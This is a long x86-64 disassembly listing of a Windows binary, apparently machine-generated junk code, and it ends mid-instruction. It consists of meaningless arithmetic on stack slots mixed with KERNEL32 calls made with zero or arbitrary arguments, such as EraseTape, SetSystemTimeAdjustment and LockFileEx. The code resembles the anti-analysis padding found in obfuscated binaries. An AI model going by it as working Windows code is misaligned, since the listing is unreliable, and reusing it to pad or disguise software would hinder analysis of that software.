lea rdx, [rsp + 0x433d8]
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa1f4], eax
lea rax, [rsp + 0x8ad4]
mov qword [rsp + 0x15d08], rax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
mov ecx, dword [0x140369dfc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d28]
mov dword [rcx], eax
lea rax, [rsp + 0x2978]
mov qword [rsp + 0x15d10], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
movzx eax, byte [rsp + 0x266]
mov rcx, qword [0x14036a1c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7a5], al
mov eax, dword [rsp + 0x979c]
movzx ecx, al
mov eax, dword [rsp + 0xa024]
sar eax, cl
mov rcx, qword [rsp + 0x13aa8]
mov dword [rcx], eax
lea rax, [rsp + 0x9f58]
mov qword [rsp + 0x15d18], rax
mov eax, dword [rsp + 0xa100]
mov ecx, dword [rsp + 0x69b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ef0]
mov dword [rcx], eax
lea rax, [rsp + 0x9eac]
mov qword [rsp + 0x15d20], rax
mov edx, 0xd31
mov rcx, qword [rsp + 0x15808]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa32c], eax
movzx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x15578]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14036252c], ax
mov rcx, qword [rsp + 0x14018]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x4ce70], 0x11c
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx eax, byte [rsp + 0x7b9]
mov rcx, qword [0x14036a0e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14a50]
mov byte [rcx], al
mov rax, qword [rsp + 0x145e0]
mov ecx, dword [rsp + 0x9cd8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9d28], eax
mov eax, dword [rsp + 0x9c88]
mov dword [rsp + 0xa34c], eax
movsx eax, byte [rsp + 0x79d]
movsx ecx, byte [0x140363f1e]
add eax, ecx
mov byte [rsp + 0x7b7], al
lea rax, [rsp + 0x2dc4]
mov qword [rsp + 0x15d28], rax
movzx eax, word [rsp + 0x1384]
movzx ecx, word [rsp + 0x2c3c]
and eax, ecx
mov rcx, qword [rsp + 0x14730]
mov word [rcx], ax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3e2]
sub eax, ecx
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x154d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9748]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x98f0], eax
mov eax, dword [rsp + 0x62f0]
mov ecx, dword [rsp + 0xa1dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140369bb8]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x16c0
mov r9d, 0x139d
mov r8d, 0x88323780
mov edx, 2
mov rcx, qword [rsp + 0x15130]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9938], eax
mov rax, qword [rsp + 0x13d98]
mov rcx, qword [rsp + 0x12ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c48]
mov dword [rcx], eax
lea rax, [rsp + 0x9c04]
mov qword [rsp + 0x15d30], rax
mov rax, qword [rsp + 0x14460]
mov ecx, dword [rsp + 0x9d18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8614], eax
lea rax, [rsp + 0x73a]
mov qword [rsp + 0x15d38], rax
movzx eax, word [rsp + 0x2ba4]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x133d8]
mov word [rcx], ax
mov rax, qword [0x140369f80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x98e4]
shl eax, cl
mov dword [rsp + 0x8620], eax
lea rax, [rsp + 0x79e4]
mov qword [rsp + 0x15d40], rax
mov rax, qword [rsp + 0x14970]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9eac]
sar eax, cl
mov rcx, qword [rsp + 0x146d8]
mov dword [rcx], eax
lea rax, [rsp + 0x57e8]
mov qword [0x14036a308], rax
movzx eax, byte [0x140363f5f]
mov byte [rsp + 0x7be], al
mov rax, qword [rsp + 0x14958]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c4]
xor eax, ecx
mov rcx, qword [rsp + 0x14e08]
mov word [rcx], ax
mov rax, qword [rsp + 0x15310]
movsx eax, byte [rax]
mov rcx, qword [0x14036a200]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x407], al
lea rax, [rsp + 0x2cd0]
mov qword [rsp + 0x15d48], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15d50], rax
mov rax, qword [rsp + 0x14600]
mov ecx, dword [rsp + 0x9a94]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7770], eax
lea rax, [rsp + 0x9c78]
mov qword [rsp + 0x15d58], rax
mov rax, qword [rsp + 0x12e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79a]
and eax, ecx
mov rcx, qword [rsp + 0x14e90]
mov byte [rcx], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov word [rsp + 0x2df8], ax
mov eax, dword [rsp + 0xa070]
mov ecx, dword [rsp + 0x9f1c]
add ecx, eax
mov eax, ecx
mov dword [0x140369e40], eax
mov rax, qword [rsp + 0x15510]
mov eax, dword [rax]
mov ecx, dword [0x140369d50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x85d0], eax
mov rax, qword [rsp + 0x14820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x94d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5810], eax
mov rax, qword [rsp + 0x13fd8]
mov ecx, dword [rsp + 0x57fc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x85b0], eax
mov rax, qword [rsp + 0x14410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cc4]
sub eax, ecx
mov word [rsp + 0x2b90], ax
mov rax, qword [rsp + 0x15618]
movzx eax, byte [rax]
mov byte [rsp + 0x7bf], al
mov rax, qword [rsp + 0x14148]
mov ecx, dword [rsp + 0x79a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2a0], eax
mov eax, dword [rsp + 0xa1fc]
mov ecx, dword [rsp + 0xa278]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b70]
mov dword [rcx], eax
lea rax, [rsp + 0x8df8]
mov qword [rsp + 0x15d60], rax
mov rax, qword [0x14036a1d8]
mov eax, dword [rax]
mov dword [0x14036a310], eax
mov rax, qword [rsp + 0x154f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14028]
mov qword [rsp + 0x15d68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15d68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x53f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rax, [rsp + 0x1a88]
mov qword [rsp + 0x15d70], rax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
mov rcx, qword [0x14036a0a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6a8], al
mov rax, qword [rsp + 0x13dd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x152e0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13f08]
mov word [rcx], ax
movzx eax, byte [rsp + 0x78d]
movzx ecx, byte [rsp + 0x7a6]
imul eax, ecx
mov byte [rsp + 0x5be], al
mov eax, dword [rsp + 0x7b14]
mov ecx, dword [rsp + 0x6234]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c90]
mov dword [rsp + 0xa350], eax
movzx eax, word [rsp + 0x197c]
movzx ecx, word [0x14036252c]
and eax, ecx
mov rcx, qword [rsp + 0x13410]
mov word [rcx], ax
lea rax, [rsp + 0x2e7]
mov qword [0x14036a318], rax
mov eax, dword [rsp + 0x9d8c]
mov ecx, dword [rsp + 0x7cac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15960]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7a24]
mov dword [rsp + 0xa354], eax
mov rax, qword [0x14036a280]
mov ecx, dword [rsp + 0x9fc0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13b50]
mov dword [rcx], eax
lea rax, [rsp + 0xa310]
mov qword [rsp + 0x15d78], rax
mov rax, qword [rsp + 0x13ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15be8]
mov byte [rcx], al
lea rax, [rsp + 0x2be0]
mov qword [rsp + 0x15d80], rax
mov rcx, qword [rsp + 0x15250]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4c7b0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9af8], eax
mov rax, qword [rsp + 0x13c48]
mov rcx, qword [rsp + 0x14f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5610], eax
mov eax, dword [rsp + 0x9e48]
mov ecx, dword [rsp + 0x9cd0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14628]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c04]
add eax, ecx
mov word [0x140369fd8], ax
lea rax, [rsp + 0x76c]
mov qword [rsp + 0x15d88], rax
mov rax, qword [rsp + 0x13930]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x453]
sub eax, ecx
mov rcx, qword [rsp + 0x15020]
mov byte [rcx], al
mov rax, qword [rsp + 0x15598]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26fc]
and eax, ecx
mov word [rsp + 0x251c], ax
mov rax, qword [rsp + 0x152a8]
mov rcx, qword [rsp + 0x15d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13be8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8dcc]
mov ecx, dword [0x140369d54]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5d50], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x42d80]
mov rcx, qword [rsp + 0x15c08]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a7c], eax
mov eax, dword [rsp + 0xa354]
mov dword [rsp + 0xa358], eax
mov eax, dword [rsp + 0x83e4]
movzx ecx, al
mov eax, dword [rsp + 0xa27c]
shl eax, cl
mov dword [rsp + 0xa0f4], eax
lea rax, [0x14036a158]
mov qword [rsp + 0x15d90], rax
mov rax, qword [rsp + 0x14ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x156f0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xec], al
movzx eax, word [rsp + 0x17fc]
movzx ecx, word [rsp + 0x18f4]
cdq
idiv ecx
mov word [0x140369bd8], ax
mov eax, dword [rsp + 0x9f1c]
mov ecx, dword [rsp + 0xa040]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa348]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a5c], eax
mov rax, qword [rsp + 0x13198]
mov ecx, dword [rsp + 0x9e1c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12fa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137e8]
mov eax, dword [rax]
mov dword [rsp + 0xa35c], eax
movzx eax, byte [rsp + 0x384]
mov rcx, qword [rsp + 0x156f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13528]
mov byte [rcx], al
mov rax, qword [rsp + 0x14988]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15608]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c6c], ax
mov rax, qword [rsp + 0x12ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14060]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1648], ax
mov rax, qword [rsp + 0x153a0]
movsx eax, byte [rax]
movsx ecx, byte [0x140363f1e]
sub eax, ecx
mov rcx, qword [rsp + 0x150b0]
mov byte [rcx], al
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4c9f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa360], eax
mov rax, qword [rsp + 0x14aa8]
mov rcx, qword [rsp + 0x13fc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140362540], eax
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov dword [rsp + 0xa364], eax
movzx eax, byte [rsp + 0x13c]
movzx ecx, byte [rsp + 0x7bb]
add eax, ecx
mov rcx, qword [rsp + 0x155c0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa2f0], eax
mov rax, qword [rsp + 0x15ce8]
movzx eax, word [rax]
mov word [rsp + 0x2dfc], ax
mov rax, qword [rsp + 0x13ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa1f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ed8]
mov ecx, dword [0x140369eec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13920]
mov dword [rcx], eax
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0x15d98], rax
mov rax, qword [rsp + 0x14188]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa1b4]
shl eax, cl
mov dword [rsp + 0xa2a0], eax
movzx eax, byte [rsp + 0x782]
movzx ecx, byte [rsp + 0x790]
xor eax, ecx
mov byte [rsp + 0x112], al
mov rax, qword [rsp + 0x14ac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x159e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140362448], ax
mov eax, dword [rsp + 0xa28c]
mov ecx, dword [rsp + 0xa254]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x157b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15958]
mov rcx, qword [rsp + 0x15988]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov dword [rcx], eax
lea rax, [rsp + 0x9eb0]
mov qword [rsp + 0x15da0], rax
mov rax, qword [rsp + 0x14ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15840]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15080]
mov eax, dword [rax]
mov dword [rsp + 0xa368], eax
movsx eax, byte [rsp + 0x66b]
mov rcx, qword [rsp + 0x149f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15690]
mov byte [rcx], al
movsx eax, word [rsp + 0x2ca8]
movsx ecx, word [0x140369f2c]
add eax, ecx
mov word [rsp + 0x2c54], ax
lea rax, [rsp + 0x2668]
mov qword [rsp + 0x15da8], rax
lea rax, [rsp + 0x72f]
mov qword [0x14036a320], rax
mov rax, qword [rsp + 0x14d00]
mov ecx, dword [rsp + 0x9a34]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d70], eax
mov rax, qword [rsp + 0x149a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa28c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7430], eax
movzx eax, word [rsp + 0x2bcc]
movzx ecx, word [rsp + 0x2df4]
and eax, ecx
mov rcx, qword [rsp + 0x13c90]
mov word [rcx], ax
lea rax, [0x140363eff]
mov qword [rsp + 0x15db0], rax
mov rax, qword [rsp + 0x155d0]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8ac4], eax
mov rax, qword [rsp + 0x14198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ba8], eax
mov eax, dword [0x1403624d4]
mov dword [rsp + 0xa36c], eax
mov rax, qword [rsp + 0x13628]
mov ecx, dword [rsp + 0xa36c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132c0]
movzx eax, byte [rax]
mov byte [0x140363fec], al
mov rax, qword [rsp + 0x14000]
movzx eax, word [rax]
mov word [rsp + 0x2e00], ax
lea rdx, [rsp + 0x43090]
mov rcx, qword [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9d20], eax
mov rax, qword [rsp + 0x15740]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6348]
shr eax, cl
mov dword [rsp + 0x9ac4], eax
mov eax, dword [rsp + 0x9e00]
movzx ecx, al
mov eax, dword [rsp + 0x9e14]
shl eax, cl
mov dword [rsp + 0x8590], eax
mov dword [rsp + 0x4cf90], 0x11c
mov rax, qword [0x140369e38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d6c]
and eax, ecx
mov word [rsp + 0x2220], ax
mov rax, qword [rsp + 0x149f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x145f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1d9], al
lea rax, [rsp + 0x29ac]
mov qword [rsp + 0x15db8], rax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77f]
or eax, ecx
mov byte [rsp + 0x703], al
mov eax, dword [rsp + 0x7b14]
mov ecx, dword [rsp + 0x9a34]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b28]
mov ecx, dword [rsp + 0xa198]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140369fc8], eax
lea rax, [rsp + 0x84ac]
mov qword [rsp + 0x15dc0], rax
mov rax, qword [rsp + 0x15810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa040], eax
lea rax, [rsp + 0x601c]
mov qword [rsp + 0x15dc8], rax
movzx eax, byte [rsp + 0x615]
movzx ecx, byte [rsp + 0x781]
add eax, ecx
mov byte [rsp + 0x728], al
mov rax, qword [rsp + 0x14a18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15480]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13478]
mov word [rcx], ax
mov eax, dword [rsp + 0x9c10]
mov dword [rsp + 0xa370], eax
mov eax, dword [rsp + 0x8770]
mov ecx, dword [rsp + 0x5d50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9cf0]
mov ecx, dword [rsp + 0x9ea0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x15a48]
mov eax, dword [rax]
mov ecx, dword [0x140369de0]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15090]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x14b50]
mov word [rcx], ax
lea rax, [rsp + 0x735]
mov qword [rsp + 0x15dd0], rax
mov rax, qword [0x140369c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2cf8]
shl eax, cl
mov word [rsp + 0x1988], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x776]
sar eax, cl
mov byte [rsp + 0x77d], al
lea rdx, [rsp + 0x42aa8]
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x15968]
mov eax, dword [rax]
mov dword [rsp + 0xa374], eax
mov rax, qword [rsp + 0x15390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f4c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e48], eax
mov rax, qword [rsp + 0x14768]
movzx eax, byte [rax]
mov byte [rsp + 0x7c0], al
mov rax, qword [rsp + 0x13370]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1fe4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa378], eax
mov eax, dword [rsp + 0x7074]
mov ecx, dword [rsp + 0x7770]
and ecx, eax
mov eax, ecx
mov dword [0x140362544], eax
mov rax, qword [rsp + 0x13580]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14e48]
mov dword [rcx], eax
lea rax, [rsp + 0xa1b8]
mov qword [rsp + 0x15dd8], rax
lea rdx, [rsp + 0x42c30]
mov rcx, qword [rsp + 0x14630]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9e38], eax
mov rax, qword [rsp + 0x14308]
mov ecx, dword [rsp + 0xa294]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15818]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x32ff
mov r9d, 0x242e
mov r8d, 0x30d8
mov edx, 0x2152
mov rcx, qword [rsp + 0x14fa8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa37c], eax
lea rax, [rsp + 0x2c50]
mov qword [rsp + 0x15de0], rax
mov rax, qword [rsp + 0x152b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14288]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa7], al
lea rdx, [rsp + 0x42bc0]
mov rcx, qword [rsp + 0x14470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9c60], eax
mov eax, dword [rsp + 0x5514]
mov ecx, dword [rsp + 0x8ac4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x702c], eax
lea rax, [rsp + 0xa150]
mov qword [rsp + 0x15de8], rax
mov rax, qword [rsp + 0x12f58]
mov rcx, qword [rsp + 0x12ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15398]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa23c]
mov ecx, dword [rsp + 0xa27c]
add ecx, eax
mov eax, ecx
mov dword [0x140362480], eax
lea rax, [rsp + 0x9198]
mov qword [rsp + 0x15df0], rax
mov rax, qword [rsp + 0x14328]
movsx eax, byte [rax]
mov rcx, qword [0x14036a0a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15d88]
mov byte [rcx], al
movsx eax, word [rsp + 0x2db4]
movsx ecx, word [rsp + 0x12ac]
sub eax, ecx
mov word [rsp + 0x17e4], ax
movzx eax, word [rsp + 0x225c]
movzx ecx, word [0x14036a1a8]
add eax, ecx
mov rcx, qword [rsp + 0x15368]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x14d40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15dd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x795], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15df8], rax
mov eax, dword [rsp + 0x9a00]
mov dword [rsp + 0xa380], eax
mov eax, dword [rsp + 0xa010]
mov rcx, qword [rsp + 0x145c0]
mov qword [rsp + 0x15e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15e00]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x15620]
mov dword [rcx], eax
lea rax, [rsp + 0x7a8]
mov qword [rsp + 0x15e08], rax
lea rax, [rsp + 0x2bbc]
mov qword [0x14036a328], rax
mov rax, qword [rsp + 0x133a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa0fc]
shl eax, cl
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9bc4]
mov ecx, dword [rsp + 0x9a6c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c30], eax
lea rax, [rsp + 0xa21c]
mov qword [rsp + 0x15e10], rax
mov eax, dword [rsp + 0x9d38]
mov ecx, dword [rsp + 0x9eb8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa35c], eax
lea rdx, [rsp + 0x42fb0]
mov rcx, qword [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa054], eax
mov rax, qword [0x140369e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52f]
imul eax, ecx
mov byte [rsp + 0x533], al
movzx eax, word [rsp + 0x2ca4]
movzx ecx, word [rsp + 0x2c2c]
and eax, ecx
mov word [rsp + 0x13d8], ax
mov rax, qword [rsp + 0x13ed8]
mov eax, dword [rax]
mov ecx, dword [0x14036244c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14518]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x14558]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa384], eax
mov eax, dword [rsp + 0x6524]
mov dword [rsp + 0xa388], eax
movsx eax, word [rsp + 0x1350]
movsx ecx, word [rsp + 0x2c44]
sub eax, ecx
mov word [0x14036a11c], ax
movsx eax, byte [0x14035259e]
mov rcx, qword [rsp + 0x14ea0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x319], al
movzx eax, word [rsp + 0x2d54]
movzx ecx, word [rsp + 0x2b90]
sub eax, ecx
mov word [rsp + 0x19b8], ax
mov rax, qword [rsp + 0x13e70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
and eax, ecx
mov rcx, qword [rsp + 0x15b10]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x15400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa158]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b6c], eax
mov eax, dword [rsp + 0x67d8]
mov dword [rsp + 0xa38c], eax
mov rax, qword [rsp + 0x14300]
mov ecx, dword [0x14036a2c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15350]
mov dword [rcx], eax
lea rax, [rsp + 0x53f0]
mov qword [rsp + 0x15e18], rax
mov eax, dword [rsp + 0x6cc4]
mov ecx, dword [rsp + 0x9c90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ed0]
mov dword [rcx], eax
lea rax, [0x14036a1a4]
mov qword [rsp + 0x15e20], rax
lea rax, [rsp + 0x729]
mov qword [0x14036a330], rax
mov eax, dword [rsp + 0xa380]
mov rcx, qword [rsp + 0x15d30]
mov qword [rsp + 0x15e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15e28]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b74], eax
mov rax, qword [rsp + 0x152f8]
mov rcx, qword [0x140369ec8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14860]
mov dword [rcx], eax
mov eax, dword [rsp + 0x56e4]
mov dword [rsp + 0xa390], eax
mov rax, qword [rsp + 0x159c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15650]
mov qword [rsp + 0x15e30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15e30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa090], eax
lea rax, [rsp + 0x2cc4]
mov qword [rsp + 0x15e38], rax
mov edx, 0xb6
mov rcx, qword [rsp + 0x15d50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa394], eax
mov rax, qword [rsp + 0x14cb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14ee0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7a2], al
movsx eax, byte [rsp + 0x748]
movsx ecx, byte [rsp + 0x519]
